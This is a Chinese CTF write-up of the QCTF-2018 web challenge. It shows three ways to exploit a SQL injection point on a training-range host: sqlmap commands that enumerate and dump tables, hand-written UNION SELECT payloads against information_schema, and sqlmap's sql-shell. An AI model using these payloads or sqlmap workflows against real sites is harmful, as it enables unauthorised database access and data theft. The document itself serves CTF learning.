《转载》CTF笔记-Web第1弹-看我如何用多种姿势搞定一个SQL注入点
西子实验室
本篇分享知识要点:
sqlmap常用参数实例讲解
union联合查询手工注入
sql-shell 数据库交互常用命令实例讲解
题目来源:
QCTF-2018
在线CTF靶机:
攻防世界(一个非常NB的平台)
阅读完本篇文章大概需要5分钟,enjoy yourself!
姿势1:sqlmap一把梭
通过一番摸索,发现在页面搜索post数据的地方,存在一个注入点,废话不多说,拿起我的sqlmap就是一把梭!
python sqlmap.py -u http://111.198.29.45:50797/ --data=“search=a” --dbs
-u 指定注入点地址
–data 指定要注入的参数
–dbs **所以数据库
可以看到,**出来2个可用数据库
除了上面的姿势,还可以使用下面的方法查询当前数据库
python sqlmap.py -u http://111.198.29.45:50797/ --data=“search=a” --dbms mysql --current-db
–dbms mysql 指定数据库类型为mysql
–current-db **当前数据库
可以看到,当前数据库为news
有了数据库,接下来就查数据表。
查询news数据库有几张表
python sqlmap.py -u http://111.198.29.45:50797/ --data=“search=a” --dbms mysql -D news --tables
-D news 指定数据库
–tables **所有数据表
可以看到,**出了2张数据表
有了数据表,接下来就是**字段了
查询secret_table表的字段
python sqlmap.py -u http://111.198.29.45:50797/ --data=“search=a” --dbms mysql -D news -T secret_table --columns
-T secret_table 指定数据表
–columns **所有列
可以看到,有2个字段,id和f14g
flag字段就这么出现了,惊不惊喜,意不意外,难道这就是命运的安排吗?
还不抓紧爆一下字段内容,你还在那寻思啥呢你啊!(野狼disco)
python sqlmap.py -u http://111.198.29.45:50797/ --data=“search=a” --dbms mysql -D news -T secret_table --dump
–dump 爆出指定表的字段内容
毫无悬念,first blood!
QCTF{sq1_inJec7ion_ezzz}
姿势2:union联合注入手工猜解
常用猜解要点整理如下
判断注入点:
123’ –
'把前面的单引号闭合
–把后面的查询语句片段注释掉
判断列数:
123’ order by 3–
判断显示位:
123’ union select 1,2,3–
爆表
123’ union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() –
爆字段
123’ union select 1,group_concat(column_name),3 from information_schema.columns where table_name=‘secret_table’–
爆值
123’ union select 1,group_concat(fl4g),3 from secret_table–
本题注入点为:
1’ union select 1,2,3 #
很明显,23为显示位
下面**一下当前数据名:
1’ union select 1,database(),3#
已经出来了,2显示位变成了news
接着就是**表啦:
1’ union select 1,table_name,3 from information_schema.tables where table_schema =‘news’ #
已经出来了,不信你看显示位2
接着就是**字段:
1’ union select 1,column_name,3 from information_schema.columns where table_name =‘secret_table’ #
那么大一个f14g,我都看见了
临门一脚了,猥琐发育,不要浪:
1’ union select 1,fl4g,3 from secret_table where id =‘1’ #
double kill,搞定!
姿势3:sql-shell 数据库交互
python sqlmap.py -u http://111.198.29.45:50797/ --data=“search=a” --batch --sql-shell
–batch --sql-shell 获取注入点权限进入sql-shell模式
没错,已经拿到了sql-shell
常规操作,查询一下数据库,命令如下:
database();
查到了,数据库是news
接下来查询一下表吧
select group_concat(table_name) from information_schema.tables where table_schema=database()
查到了,数据表有2个,news和secret_table
不要慌,查询一下列
select group_concat(column_name) from information_schema.columns where table_name=‘secret_table’
查到了,有2个列字段,id和f14g
不要怂,获取flag内容
select id,f14g from secret_table limit 0,1
很遗憾,最后没能获取到flag,可能是我的姿势不对吧,2333,求指点~
以上就是第1弹分享的全部内容,第2弹正在路上